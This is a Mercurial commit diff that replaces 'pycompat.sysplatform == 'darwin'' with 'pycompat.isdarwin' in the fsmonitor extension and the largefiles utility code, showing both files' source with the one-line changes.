codemod: use pycompat.isdarwin

This is done by:

  sed -i "s/pycompat\.sysplatform == 'darwin'/pycompat.isdarwin/" **/*.py

Plus a manual change to `sslutil.py` which involves indentation change that
cannot be done by `sed`.

Differential Revision: https://phab.mercurial-scm.org/D1035

hgext/fsmonitor/__init__.py

@@ -1,803 +1,803 b''
 # __init__.py - fsmonitor initialization and overrides
 #
 # Copyright 2013-2016 Facebook, Inc.
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 '''Faster status operations with the Watchman file monitor (EXPERIMENTAL)
 
 Integrates the file-watching program Watchman with Mercurial to produce faster
 status results.
 
 On a particular Linux system, for a real-world repository with over 400,000
 files hosted on ext4, vanilla `hg status` takes 1.3 seconds. On the same
 system, with fsmonitor it takes about 0.3 seconds.
 
 fsmonitor requires no configuration -- it will tell Watchman about your
 repository as necessary. You'll need to install Watchman from
 https://facebook.github.io/watchman/ and make sure it is in your PATH.
 
 The following configuration options exist:
 
 ::
 
     [fsmonitor]
     mode = {off, on, paranoid}
 
 When `mode = off`, fsmonitor will disable itself (similar to not loading the
 extension at all). When `mode = on`, fsmonitor will be enabled (the default).
 When `mode = paranoid`, fsmonitor will query both Watchman and the filesystem,
 and ensure that the results are consistent.
 
 ::
 
     [fsmonitor]
     timeout = (float)
 
 A value, in seconds, that determines how long fsmonitor will wait for Watchman
 to return results. Defaults to `2.0`.
 
 ::
 
     [fsmonitor]
     blacklistusers = (list of userids)
 
 A list of usernames for which fsmonitor will disable itself altogether.
 
 ::
 
     [fsmonitor]
     walk_on_invalidate = (boolean)
 
 Whether or not to walk the whole repo ourselves when our cached state has been
 invalidated, for example when Watchman has been restarted or .hgignore rules
 have been changed. Walking the repo in that case can result in competing for
 I/O with Watchman. For large repos it is recommended to set this value to
 false. You may wish to set this to true if you have a very fast filesystem
 that can outpace the IPC overhead of getting the result data for the full repo
 from Watchman. Defaults to false.
 
 fsmonitor is incompatible with the largefiles and eol extensions, and
 will disable itself if any of those are active.
 
 '''
 
 # Platforms Supported
 # ===================
 #
 # **Linux:** *Stable*. Watchman and fsmonitor are both known to work reliably,
 #   even under severe loads.
 #
 # **Mac OS X:** *Stable*. The Mercurial test suite passes with fsmonitor
 #   turned on, on case-insensitive HFS+. There has been a reasonable amount of
 #   user testing under normal loads.
 #
 # **Solaris, BSD:** *Alpha*. watchman and fsmonitor are believed to work, but
 #   very little testing has been done.
 #
 # **Windows:** *Alpha*. Not in a release version of watchman or fsmonitor yet.
 #
 # Known Issues
 # ============
 #
 # * fsmonitor will disable itself if any of the following extensions are
 #   enabled: largefiles, inotify, eol; or if the repository has subrepos.
 # * fsmonitor will produce incorrect results if nested repos that are not
 #   subrepos exist. *Workaround*: add nested repo paths to your `.hgignore`.
 #
 # The issues related to nested repos and subrepos are probably not fundamental
 # ones. Patches to fix them are welcome.
 
 from __future__ import absolute_import
 
 import codecs
 import hashlib
 import os
 import stat
 import sys
 import weakref
 
 from mercurial.i18n import _
 from mercurial.node import (
     hex,
     nullid,
 )
 
 from mercurial import (
     context,
     encoding,
     error,
     extensions,
     localrepo,
     merge,
     pathutil,
     pycompat,
     registrar,
     scmutil,
     util,
 )
 from mercurial import match as matchmod
 
 from . import (
     pywatchman,
     state,
     watchmanclient,
 )
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
 configtable = {}
 configitem = registrar.configitem(configtable)
 
 configitem('fsmonitor', 'mode',
     default='on',
 )
 configitem('fsmonitor', 'walk_on_invalidate',
     default=False,
 )
 configitem('fsmonitor', 'timeout',
     default='2',
 )
 configitem('fsmonitor', 'blacklistusers',
     default=list,
 )
 
 # This extension is incompatible with the following blacklisted extensions
 # and will disable itself when encountering one of these:
 _blacklist = ['largefiles', 'eol']
 
 def _handleunavailable(ui, state, ex):
     """Exception handler for Watchman interaction exceptions"""
     if isinstance(ex, watchmanclient.Unavailable):
         if ex.warn:
             ui.warn(str(ex) + '\n')
         if ex.invalidate:
             state.invalidate()
         ui.log('fsmonitor', 'Watchman unavailable: %s\n', ex.msg)
     else:
         ui.log('fsmonitor', 'Watchman exception: %s\n', ex)
 
 def _hashignore(ignore):
     """Calculate hash for ignore patterns and filenames
 
     If this information changes between Mercurial invocations, we can't
     rely on Watchman information anymore and have to re-scan the working
     copy.
 
     """
     sha1 = hashlib.sha1()
     sha1.update(repr(ignore))
     return sha1.hexdigest()
 
 _watchmanencoding = pywatchman.encoding.get_local_encoding()
 _fsencoding = sys.getfilesystemencoding() or sys.getdefaultencoding()
 _fixencoding = codecs.lookup(_watchmanencoding) != codecs.lookup(_fsencoding)
 
 def _watchmantofsencoding(path):
     """Fix path to match watchman and local filesystem encoding
 
     watchman's paths encoding can differ from filesystem encoding. For example,
     on Windows, it's always utf-8.
     """
     try:
         decoded = path.decode(_watchmanencoding)
     except UnicodeDecodeError as e:
         raise error.Abort(str(e), hint='watchman encoding error')
 
     try:
         encoded = decoded.encode(_fsencoding, 'strict')
     except UnicodeEncodeError as e:
         raise error.Abort(str(e))
 
     return encoded
 
 def overridewalk(orig, self, match, subrepos, unknown, ignored, full=True):
     '''Replacement for dirstate.walk, hooking into Watchman.
 
     Whenever full is False, ignored is False, and the Watchman client is
     available, use Watchman combined with saved state to possibly return only a
     subset of files.'''
     def bail():
         return orig(match, subrepos, unknown, ignored, full=True)
 
     if full or ignored or not self._watchmanclient.available():
         return bail()
     state = self._fsmonitorstate
     clock, ignorehash, notefiles = state.get()
     if not clock:
         if state.walk_on_invalidate:
             return bail()
         # Initial NULL clock value, see
         # https://facebook.github.io/watchman/docs/clockspec.html
         clock = 'c:0:0'
         notefiles = []
 
     def fwarn(f, msg):
         self._ui.warn('%s: %s\n' % (self.pathto(f), msg))
         return False
 
     def badtype(mode):
         kind = _('unknown')
         if stat.S_ISCHR(mode):
             kind = _('character device')
         elif stat.S_ISBLK(mode):
             kind = _('block device')
         elif stat.S_ISFIFO(mode):
             kind = _('fifo')
         elif stat.S_ISSOCK(mode):
             kind = _('socket')
         elif stat.S_ISDIR(mode):
             kind = _('directory')
         return _('unsupported file type (type is %s)') % kind
 
     ignore = self._ignore
     dirignore = self._dirignore
     if unknown:
         if _hashignore(ignore) != ignorehash and clock != 'c:0:0':
             # ignore list changed -- can't rely on Watchman state any more
             if state.walk_on_invalidate:
                 return bail()
             notefiles = []
             clock = 'c:0:0'
     else:
         # always ignore
         ignore = util.always
         dirignore = util.always
 
     matchfn = match.matchfn
     matchalways = match.always()
     dmap = self._map._map
     nonnormalset = getattr(self, '_nonnormalset', None)
 
     copymap = self._map.copymap
     getkind = stat.S_IFMT
     dirkind = stat.S_IFDIR
     regkind = stat.S_IFREG
     lnkkind = stat.S_IFLNK
     join = self._join
     normcase = util.normcase
     fresh_instance = False
 
     exact = skipstep3 = False
     if match.isexact():  # match.exact
         exact = True
         dirignore = util.always  # skip step 2
     elif match.prefix():  # match.match, no patterns
         skipstep3 = True
 
     if not exact and self._checkcase:
         # note that even though we could receive directory entries, we're only
         # interested in checking if a file with the same name exists. So only
         # normalize files if possible.
         normalize = self._normalizefile
         skipstep3 = False
     else:
         normalize = None
 
     # step 1: find all explicit files
     results, work, dirsnotfound = self._walkexplicit(match, subrepos)
 
     skipstep3 = skipstep3 and not (work or dirsnotfound)
     work = [d for d in work if not dirignore(d[0])]
 
     if not work and (exact or skipstep3):
         for s in subrepos:
             del results[s]
         del results['.hg']
         return results
 
     # step 2: query Watchman
     try:
         # Use the user-configured timeout for the query.
         # Add a little slack over the top of the user query to allow for
         # overheads while transferring the data
         self._watchmanclient.settimeout(state.timeout + 0.1)
         result = self._watchmanclient.command('query', {
             'fields': ['mode', 'mtime', 'size', 'exists', 'name'],
             'since': clock,
             'expression': [
                 'not', [
                     'anyof', ['dirname', '.hg'],
                     ['name', '.hg', 'wholename']
                 ]
             ],
             'sync_timeout': int(state.timeout * 1000),
             'empty_on_fresh_instance': state.walk_on_invalidate,
         })
     except Exception as ex:
         _handleunavailable(self._ui, state, ex)
         self._watchmanclient.clearconnection()
         return bail()
     else:
         # We need to propagate the last observed clock up so that we
         # can use it for our next query
         state.setlastclock(result['clock'])
         if result['is_fresh_instance']:
             if state.walk_on_invalidate:
                 state.invalidate()
                 return bail()
             fresh_instance = True
             # Ignore any prior noteable files from the state info
             notefiles = []
 
     # for file paths which require normalization and we encounter a case
     # collision, we store our own foldmap
     if normalize:
         foldmap = dict((normcase(k), k) for k in results)
 
     switch_slashes = pycompat.ossep == '\\'
     # The order of the results is, strictly speaking, undefined.
     # For case changes on a case insensitive filesystem we may receive
     # two entries, one with exists=True and another with exists=False.
     # The exists=True entries in the same response should be interpreted
     # as being happens-after the exists=False entries due to the way that
     # Watchman tracks files.  We use this property to reconcile deletes
     # for name case changes.
     for entry in result['files']:
         fname = entry['name']
         if _fixencoding:
             fname = _watchmantofsencoding(fname)
         if switch_slashes:
             fname = fname.replace('\\', '/')
         if normalize:
             normed = normcase(fname)
             fname = normalize(fname, True, True)
             foldmap[normed] = fname
         fmode = entry['mode']
         fexists = entry['exists']
         kind = getkind(fmode)
 
         if not fexists:
             # if marked as deleted and we don't already have a change
             # record, mark it as deleted.  If we already have an entry
             # for fname then it was either part of walkexplicit or was
             # an earlier result that was a case change
             if fname not in results and fname in dmap and (
                     matchalways or matchfn(fname)):
                 results[fname] = None
         elif kind == dirkind:
             if fname in dmap and (matchalways or matchfn(fname)):
                 results[fname] = None
         elif kind == regkind or kind == lnkkind:
             if fname in dmap:
                 if matchalways or matchfn(fname):
                     results[fname] = entry
             elif (matchalways or matchfn(fname)) and not ignore(fname):
                 results[fname] = entry
         elif fname in dmap and (matchalways or matchfn(fname)):
             results[fname] = None
 
     # step 3: query notable files we don't already know about
     # XXX try not to iterate over the entire dmap
     if normalize:
         # any notable files that have changed case will already be handled
         # above, so just check membership in the foldmap
         notefiles = set((normalize(f, True, True) for f in notefiles
                          if normcase(f) not in foldmap))
     visit = set((f for f in notefiles if (f not in results and matchfn(f)
                                           and (f in dmap or not ignore(f)))))
 
     if nonnormalset is not None and not fresh_instance:
         if matchalways:
             visit.update(f for f in nonnormalset if f not in results)
             visit.update(f for f in copymap if f not in results)
         else:
             visit.update(f for f in nonnormalset
                          if f not in results and matchfn(f))
             visit.update(f for f in copymap
                          if f not in results and matchfn(f))
     else:
         if matchalways:
             visit.update(f for f, st in dmap.iteritems()
                          if (f not in results and
                              (st[2] < 0 or st[0] != 'n' or fresh_instance)))
             visit.update(f for f in copymap if f not in results)
         else:
             visit.update(f for f, st in dmap.iteritems()
                          if (f not in results and
                              (st[2] < 0 or st[0] != 'n' or fresh_instance)
                              and matchfn(f)))
             visit.update(f for f in copymap
                          if f not in results and matchfn(f))
 
     audit = pathutil.pathauditor(self._root, cached=True).check
     auditpass = [f for f in visit if audit(f)]
     auditpass.sort()
     auditfail = visit.difference(auditpass)
     for f in auditfail:
         results[f] = None
 
     nf = iter(auditpass).next
     for st in util.statfiles([join(f) for f in auditpass]):
         f = nf()
         if st or f in dmap:
             results[f] = st
 
     for s in subrepos:
         del results[s]
     del results['.hg']
     return results
 
 def overridestatus(
         orig, self, node1='.', node2=None, match=None, ignored=False,
         clean=False, unknown=False, listsubrepos=False):
     listignored = ignored
     listclean = clean
     listunknown = unknown
 
     def _cmpsets(l1, l2):
         try:
             if 'FSMONITOR_LOG_FILE' in encoding.environ:
                 fn = encoding.environ['FSMONITOR_LOG_FILE']
                 f = open(fn, 'wb')
             else:
                 fn = 'fsmonitorfail.log'
                 f = self.opener(fn, 'wb')
         except (IOError, OSError):
             self.ui.warn(_('warning: unable to write to %s\n') % fn)
             return
 
         try:
             for i, (s1, s2) in enumerate(zip(l1, l2)):
                 if set(s1) != set(s2):
                     f.write('sets at position %d are unequal\n' % i)
                     f.write('watchman returned: %s\n' % s1)
                     f.write('stat returned: %s\n' % s2)
         finally:
             f.close()
 
     if isinstance(node1, context.changectx):
         ctx1 = node1
     else:
         ctx1 = self[node1]
     if isinstance(node2, context.changectx):
         ctx2 = node2
     else:
         ctx2 = self[node2]
 
     working = ctx2.rev() is None
     parentworking = working and ctx1 == self['.']
     match = match or matchmod.always(self.root, self.getcwd())
 
     # Maybe we can use this opportunity to update Watchman's state.
     # Mercurial uses workingcommitctx and/or memctx to represent the part of
     # the workingctx that is to be committed. So don't update the state in
     # that case.
     # HG_PENDING is set in the environment when the dirstate is being updated
     # in the middle of a transaction; we must not update our state in that
     # case, or we risk forgetting about changes in the working copy.
     updatestate = (parentworking and match.always() and
                    not isinstance(ctx2, (context.workingcommitctx,
                                          context.memctx)) and
                    'HG_PENDING' not in encoding.environ)
 
     try:
         if self._fsmonitorstate.walk_on_invalidate:
             # Use a short timeout to query the current clock.  If that
             # takes too long then we assume that the service will be slow
             # to answer our query.
             # walk_on_invalidate indicates that we prefer to walk the
             # tree ourselves because we can ignore portions that Watchman
             # cannot and we tend to be faster in the warmer buffer cache
             # cases.
             self._watchmanclient.settimeout(0.1)
         else:
             # Give Watchman more time to potentially complete its walk
             # and return the initial clock.  In this mode we assume that
             # the filesystem will be slower than parsing a potentially
             # very large Watchman result set.
             self._watchmanclient.settimeout(
                 self._fsmonitorstate.timeout + 0.1)
         startclock = self._watchmanclient.getcurrentclock()
     except Exception as ex:
         self._watchmanclient.clearconnection()
         _handleunavailable(self.ui, self._fsmonitorstate, ex)
         # boo, Watchman failed. bail
         return orig(node1, node2, match, listignored, listclean,
                     listunknown, listsubrepos)
 
     if updatestate:
         # We need info about unknown files. This may make things slower the
         # first time, but whatever.
         stateunknown = True
     else:
         stateunknown = listunknown
 
     if updatestate:
         ps = poststatus(startclock)
         self.addpostdsstatus(ps)
 
     r = orig(node1, node2, match, listignored, listclean, stateunknown,
              listsubrepos)
     modified, added, removed, deleted, unknown, ignored, clean = r
 
     if not listunknown:
         unknown = []
 
     # don't do paranoid checks if we're not going to query Watchman anyway
     full = listclean or match.traversedir is not None
     if self._fsmonitorstate.mode == 'paranoid' and not full:
         # run status again and fall back to the old walk this time
         self.dirstate._fsmonitordisable = True
 
         # shut the UI up
         quiet = self.ui.quiet
         self.ui.quiet = True
         fout, ferr = self.ui.fout, self.ui.ferr
         self.ui.fout = self.ui.ferr = open(os.devnull, 'wb')
 
         try:
             rv2 = orig(
                 node1, node2, match, listignored, listclean, listunknown,
                 listsubrepos)
         finally:
             self.dirstate._fsmonitordisable = False
             self.ui.quiet = quiet
             self.ui.fout, self.ui.ferr = fout, ferr
 
         # clean isn't tested since it's set to True above
         _cmpsets([modified, added, removed, deleted, unknown, ignored, clean],
                  rv2)
         modified, added, removed, deleted, unknown, ignored, clean = rv2
 
     return scmutil.status(
         modified, added, removed, deleted, unknown, ignored, clean)
 
 class poststatus(object):
     def __init__(self, startclock):
         self._startclock = startclock
 
     def __call__(self, wctx, status):
         clock = wctx.repo()._fsmonitorstate.getlastclock() or self._startclock
         hashignore = _hashignore(wctx.repo().dirstate._ignore)
         notefiles = (status.modified + status.added + status.removed +
                      status.deleted + status.unknown)
         wctx.repo()._fsmonitorstate.set(clock, hashignore, notefiles)
 
 def makedirstate(repo, dirstate):
     class fsmonitordirstate(dirstate.__class__):
         def _fsmonitorinit(self, repo):
             # _fsmonitordisable is used in paranoid mode
             self._fsmonitordisable = False
             self._fsmonitorstate = repo._fsmonitorstate
             self._watchmanclient = repo._watchmanclient
             self._repo = weakref.proxy(repo)
 
         def walk(self, *args, **kwargs):
             orig = super(fsmonitordirstate, self).walk
             if self._fsmonitordisable:
                 return orig(*args, **kwargs)
             return overridewalk(orig, self, *args, **kwargs)
 
         def rebuild(self, *args, **kwargs):
             self._fsmonitorstate.invalidate()
             return super(fsmonitordirstate, self).rebuild(*args, **kwargs)
 
         def invalidate(self, *args, **kwargs):
             self._fsmonitorstate.invalidate()
             return super(fsmonitordirstate, self).invalidate(*args, **kwargs)
 
         if dirstate._ui.configbool(
             "experimental", "fsmonitor.wc_change_notify"):
             def setparents(self, p1, p2=nullid):
                 with state_update(self._repo, name="hg.wc_change",
                                   oldnode=self._pl[0], newnode=p1,
                                   partial=False):
                     return super(fsmonitordirstate, self).setparents(p1, p2)
 
     dirstate.__class__ = fsmonitordirstate
     dirstate._fsmonitorinit(repo)
 
 def wrapdirstate(orig, self):
     ds = orig(self)
     # only override the dirstate when Watchman is available for the repo
     if util.safehasattr(self, '_fsmonitorstate'):
         makedirstate(self, ds)
     return ds
 
 def extsetup(ui):
     extensions.wrapfilecache(
         localrepo.localrepository, 'dirstate', wrapdirstate)
-    if pycompat.sysplatform == 'darwin':
+    if pycompat.isdarwin:
         # An assist for avoiding the dangling-symlink fsevents bug
         extensions.wrapfunction(os, 'symlink', wrapsymlink)
 
     extensions.wrapfunction(merge, 'update', wrapupdate)
 
 def wrapsymlink(orig, source, link_name):
     ''' if we create a dangling symlink, also touch the parent dir
     to encourage fsevents notifications to work more correctly '''
     try:
         return orig(source, link_name)
     finally:
         try:
             os.utime(os.path.dirname(link_name), None)
         except OSError:
             pass
 
 class state_update(object):
     ''' This context manager is responsible for dispatching the state-enter
         and state-leave signals to the watchman service. The enter and leave
         methods can be invoked manually (for scenarios where context manager
         semantics are not possible). If parameters oldnode and newnode are None,
         they will be populated based on current working copy in enter and
         leave, respectively. Similarly, if the distance is none, it will be
         calculated based on the oldnode and newnode in the leave method.'''
 
     def __init__(self, repo, name, oldnode=None, newnode=None, distance=None,
                  partial=False):
         self.repo = repo.unfiltered()
         self.name = name
         self.oldnode = oldnode
         self.newnode = newnode
         self.distance = distance
         self.partial = partial
         self._lock = None
         self.need_leave = False
 
     def __enter__(self):
         self.enter()
 
     def enter(self):
         # We explicitly need to take a lock here, before we proceed to update
         # watchman about the update operation, so that we don't race with
         # some other actor.  merge.update is going to take the wlock almost
         # immediately anyway, so this is effectively extending the lock
         # around a couple of short sanity checks.
         if self.oldnode is None:
             self.oldnode = self.repo['.'].node()
         self._lock = self.repo.wlock()
         self.need_leave = self._state(
             'state-enter',
             hex(self.oldnode))
         return self
 
     def __exit__(self, type_, value, tb):
         abort = True if type_ else False
         self.exit(abort=abort)
 
     def exit(self, abort=False):
         try:
             if self.need_leave:
                 status = 'failed' if abort else 'ok'
                 if self.newnode is None:
                     self.newnode = self.repo['.'].node()
                 if self.distance is None:
                     self.distance = calcdistance(
                         self.repo, self.oldnode, self.newnode)
                 self._state(
                     'state-leave',
                     hex(self.newnode),
                     status=status)
         finally:
             self.need_leave = False
             if self._lock:
                 self._lock.release()
 
     def _state(self, cmd, commithash, status='ok'):
         if not util.safehasattr(self.repo, '_watchmanclient'):
             return False
         try:
             self.repo._watchmanclient.command(cmd, {
                 'name': self.name,
                 'metadata': {
                     # the target revision
                     'rev': commithash,
                     # approximate number of commits between current and target
                     'distance': self.distance if self.distance else 0,
                     # success/failure (only really meaningful for state-leave)
                     'status': status,
                     # whether the working copy parent is changing
                     'partial': self.partial,
             }})
             return True
         except Exception as e:
             # Swallow any errors; fire and forget
             self.repo.ui.log(
                 'watchman', 'Exception %s while running %s\n', e, cmd)
             return False
 
 # Estimate the distance between two nodes
 def calcdistance(repo, oldnode, newnode):
     anc = repo.changelog.ancestor(oldnode, newnode)
     ancrev = repo[anc].rev()
     distance = (abs(repo[oldnode].rev() - ancrev)
         + abs(repo[newnode].rev() - ancrev))
     return distance
 
 # Bracket working copy updates with calls to the watchman state-enter
 # and state-leave commands.  This allows clients to perform more intelligent
 # settling during bulk file change scenarios
 # https://facebook.github.io/watchman/docs/cmd/subscribe.html#advanced-settling
 def wrapupdate(orig, repo, node, branchmerge, force, ancestor=None,
                mergeancestor=False, labels=None, matcher=None, **kwargs):
 
     distance = 0
     partial = True
     oldnode = repo['.'].node()
     newnode = repo[node].node()
     if matcher is None or matcher.always():
         partial = False
         distance = calcdistance(repo.unfiltered(), oldnode, newnode)
 
     with state_update(repo, name="hg.update", oldnode=oldnode, newnode=newnode,
                       distance=distance, partial=partial):
         return orig(
             repo, node, branchmerge, force, ancestor, mergeancestor,
             labels, matcher, **kwargs)
 
 def reposetup(ui, repo):
     # We don't work with largefiles or inotify
     exts = extensions.enabled()
     for ext in _blacklist:
         if ext in exts:
             ui.warn(_('The fsmonitor extension is incompatible with the %s '
                       'extension and has been disabled.\n') % ext)
             return
 
     if repo.local():
         # We don't work with subrepos either.
         #
         # if repo[None].substate can cause a dirstate parse, which is too
         # slow. Instead, look for a file called hgsubstate,
         if repo.wvfs.exists('.hgsubstate') or repo.wvfs.exists('.hgsub'):
             return
 
         fsmonitorstate = state.state(repo)
         if fsmonitorstate.mode == 'off':
             return
 
         try:
             client = watchmanclient.client(repo)
         except Exception as ex:
             _handleunavailable(ui, fsmonitorstate, ex)
             return
 
         repo._fsmonitorstate = fsmonitorstate
         repo._watchmanclient = client
 
         dirstate, cached = localrepo.isfilecached(repo, 'dirstate')
         if cached:
             # at this point since fsmonitorstate wasn't present,
             # repo.dirstate is not a fsmonitordirstate
             makedirstate(repo, dirstate)
 
         class fsmonitorrepo(repo.__class__):
             def status(self, *args, **kwargs):
                 orig = super(fsmonitorrepo, self).status
                 return overridestatus(orig, self, *args, **kwargs)
 
             if ui.configbool("experimental", "fsmonitor.transaction_notify"):
                 def transaction(self, *args, **kwargs):
                     tr = super(fsmonitorrepo, self).transaction(
                                *args, **kwargs)
                     if tr.count != 1:
                         return tr
                     stateupdate = state_update(self, name="hg.transaction")
                     stateupdate.enter()
 
                     class fsmonitortrans(tr.__class__):
                         def _abort(self):
                             try:
                                 result = super(fsmonitortrans, self)._abort()
                             finally:
                                 stateupdate.exit(abort=True)
                             return result
 
                         def close(self):
                             try:
                                 result = super(fsmonitortrans, self).close()
                             finally:
                                 if self.count == 0:
                                     stateupdate.exit()
                             return result
 
                     tr.__class__ = fsmonitortrans
                     return tr
 
         repo.__class__ = fsmonitorrepo

hgext/largefiles/lfutil.py

@@ -1,673 +1,673 b''
 # Copyright 2009-2010 Gregory P. Ward
 # Copyright 2009-2010 Intelerad Medical Systems Incorporated
 # Copyright 2010-2011 Fog Creek Software
 # Copyright 2010-2011 Unity Technologies
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 '''largefiles utility code: must not import other modules in this package.'''
 from __future__ import absolute_import
 
 import copy
 import hashlib
 import os
 import stat
 
 from mercurial.i18n import _
 
 from mercurial import (
     dirstate,
     encoding,
     error,
     httpconnection,
     match as matchmod,
     node,
     pycompat,
     scmutil,
     sparse,
     util,
     vfs as vfsmod,
 )
 
 shortname = '.hglf'
 shortnameslash = shortname + '/'
 longname = 'largefiles'
 
 # -- Private worker functions ------------------------------------------
 
 def getminsize(ui, assumelfiles, opt, default=10):
     lfsize = opt
     if not lfsize and assumelfiles:
         lfsize = ui.config(longname, 'minsize', default=default)
     if lfsize:
         try:
             lfsize = float(lfsize)
         except ValueError:
             raise error.Abort(_('largefiles: size must be number (not %s)\n')
                              % lfsize)
     if lfsize is None:
         raise error.Abort(_('minimum size for largefiles must be specified'))
     return lfsize
 
 def link(src, dest):
     """Try to create hardlink - if that fails, efficiently make a copy."""
     util.makedirs(os.path.dirname(dest))
     try:
         util.oslink(src, dest)
     except OSError:
         # if hardlinks fail, fallback on atomic copy
         with open(src, 'rb') as srcf, util.atomictempfile(dest) as dstf:
             for chunk in util.filechunkiter(srcf):
                 dstf.write(chunk)
         os.chmod(dest, os.stat(src).st_mode)
 
 def usercachepath(ui, hash):
     '''Return the correct location in the "global" largefiles cache for a file
     with the given hash.
     This cache is used for sharing of largefiles across repositories - both
     to preserve download bandwidth and storage space.'''
     return os.path.join(_usercachedir(ui), hash)
 
 def _usercachedir(ui):
     '''Return the location of the "global" largefiles cache.'''
     path = ui.configpath(longname, 'usercache', None)
     if path:
         return path
     if pycompat.iswindows:
         appdata = encoding.environ.get('LOCALAPPDATA',\
                         encoding.environ.get('APPDATA'))
         if appdata:
             return os.path.join(appdata, longname)
-    elif pycompat.sysplatform == 'darwin':
+    elif pycompat.isdarwin:
         home = encoding.environ.get('HOME')
         if home:
             return os.path.join(home, 'Library', 'Caches', longname)
     elif pycompat.isposix:
         path = encoding.environ.get('XDG_CACHE_HOME')
         if path:
             return os.path.join(path, longname)
         home = encoding.environ.get('HOME')
         if home:
             return os.path.join(home, '.cache', longname)
     else:
         raise error.Abort(_('unknown operating system: %s\n')
                           % pycompat.osname)
     raise error.Abort(_('unknown %s usercache location') % longname)
 
 def inusercache(ui, hash):
     path = usercachepath(ui, hash)
     return os.path.exists(path)
 
 def findfile(repo, hash):
     '''Return store path of the largefile with the specified hash.
     As a side effect, the file might be linked from user cache.
     Return None if the file can't be found locally.'''
     path, exists = findstorepath(repo, hash)
     if exists:
         repo.ui.note(_('found %s in store\n') % hash)
         return path
     elif inusercache(repo.ui, hash):
         repo.ui.note(_('found %s in system cache\n') % hash)
         path = storepath(repo, hash)
         link(usercachepath(repo.ui, hash), path)
         return path
     return None
 
 class largefilesdirstate(dirstate.dirstate):
     def __getitem__(self, key):
         return super(largefilesdirstate, self).__getitem__(unixpath(key))
     def normal(self, f):
         return super(largefilesdirstate, self).normal(unixpath(f))
     def remove(self, f):
         return super(largefilesdirstate, self).remove(unixpath(f))
     def add(self, f):
         return super(largefilesdirstate, self).add(unixpath(f))
     def drop(self, f):
         return super(largefilesdirstate, self).drop(unixpath(f))
     def forget(self, f):
         return super(largefilesdirstate, self).forget(unixpath(f))
     def normallookup(self, f):
         return super(largefilesdirstate, self).normallookup(unixpath(f))
     def _ignore(self, f):
         return False
     def write(self, tr=False):
         # (1) disable PENDING mode always
         #     (lfdirstate isn't yet managed as a part of the transaction)
         # (2) avoid develwarn 'use dirstate.write with ....'
         super(largefilesdirstate, self).write(None)
 
 def openlfdirstate(ui, repo, create=True):
     '''
     Return a dirstate object that tracks largefiles: i.e. its root is
     the repo root, but it is saved in .hg/largefiles/dirstate.
     '''
     vfs = repo.vfs
     lfstoredir = longname
     opener = vfsmod.vfs(vfs.join(lfstoredir))
     lfdirstate = largefilesdirstate(opener, ui, repo.root,
                                     repo.dirstate._validate,
                                     lambda: sparse.matcher(repo))
 
     # If the largefiles dirstate does not exist, populate and create
     # it. This ensures that we create it on the first meaningful
     # largefiles operation in a new clone.
     if create and not vfs.exists(vfs.join(lfstoredir, 'dirstate')):
         matcher = getstandinmatcher(repo)
         standins = repo.dirstate.walk(matcher, subrepos=[], unknown=False,
                                       ignored=False)
 
         if len(standins) > 0:
             vfs.makedirs(lfstoredir)
 
         for standin in standins:
             lfile = splitstandin(standin)
             lfdirstate.normallookup(lfile)
     return lfdirstate
 
 def lfdirstatestatus(lfdirstate, repo):
     pctx = repo['.']
     match = matchmod.always(repo.root, repo.getcwd())
     unsure, s = lfdirstate.status(match, subrepos=[], ignored=False,
                                   clean=False, unknown=False)
     modified, clean = s.modified, s.clean
     for lfile in unsure:
         try:
             fctx = pctx[standin(lfile)]
         except LookupError:
             fctx = None
         if not fctx or readasstandin(fctx) != hashfile(repo.wjoin(lfile)):
             modified.append(lfile)
         else:
             clean.append(lfile)
             lfdirstate.normal(lfile)
     return s
 
 def listlfiles(repo, rev=None, matcher=None):
     '''return a list of largefiles in the working copy or the
     specified changeset'''
 
     if matcher is None:
         matcher = getstandinmatcher(repo)
 
     # ignore unknown files in working directory
     return [splitstandin(f)
             for f in repo[rev].walk(matcher)
             if rev is not None or repo.dirstate[f] != '?']
 
 def instore(repo, hash, forcelocal=False):
     '''Return true if a largefile with the given hash exists in the store'''
     return os.path.exists(storepath(repo, hash, forcelocal))
 
 def storepath(repo, hash, forcelocal=False):
     '''Return the correct location in the repository largefiles store for a
     file with the given hash.'''
     if not forcelocal and repo.shared():
         return repo.vfs.reljoin(repo.sharedpath, longname, hash)
     return repo.vfs.join(longname, hash)
 
 def findstorepath(repo, hash):
     '''Search through the local store path(s) to find the file for the given
     hash.  If the file is not found, its path in the primary store is returned.
     The return value is a tuple of (path, exists(path)).
     '''
     # For shared repos, the primary store is in the share source.  But for
     # backward compatibility, force a lookup in the local store if it wasn't
     # found in the share source.
     path = storepath(repo, hash, False)
 
     if instore(repo, hash):
         return (path, True)
     elif repo.shared() and instore(repo, hash, True):
         return storepath(repo, hash, True), True
 
     return (path, False)
 
 def copyfromcache(repo, hash, filename):
     '''Copy the specified largefile from the repo or system cache to
     filename in the repository. Return true on success or false if the
     file was not found in either cache (which should not happened:
     this is meant to be called only after ensuring that the needed
     largefile exists in the cache).'''
     wvfs = repo.wvfs
     path = findfile(repo, hash)
     if path is None:
         return False
     wvfs.makedirs(wvfs.dirname(wvfs.join(filename)))
     # The write may fail before the file is fully written, but we
     # don't use atomic writes in the working copy.
     with open(path, 'rb') as srcfd, wvfs(filename, 'wb') as destfd:
         gothash = copyandhash(
             util.filechunkiter(srcfd), destfd)
     if gothash != hash:
         repo.ui.warn(_('%s: data corruption in %s with hash %s\n')
                      % (filename, path, gothash))
         wvfs.unlink(filename)
         return False
     return True
 
 def copytostore(repo, ctx, file, fstandin):
     wvfs = repo.wvfs
     hash = readasstandin(ctx[fstandin])
     if instore(repo, hash):
         return
     if wvfs.exists(file):
         copytostoreabsolute(repo, wvfs.join(file), hash)
     else:
         repo.ui.warn(_("%s: largefile %s not available from local store\n") %
                      (file, hash))
 
 def copyalltostore(repo, node):
     '''Copy all largefiles in a given revision to the store'''
 
     ctx = repo[node]
     for filename in ctx.files():
         realfile = splitstandin(filename)
         if realfile is not None and filename in ctx.manifest():
             copytostore(repo, ctx, realfile, filename)
 
 def copytostoreabsolute(repo, file, hash):
     if inusercache(repo.ui, hash):
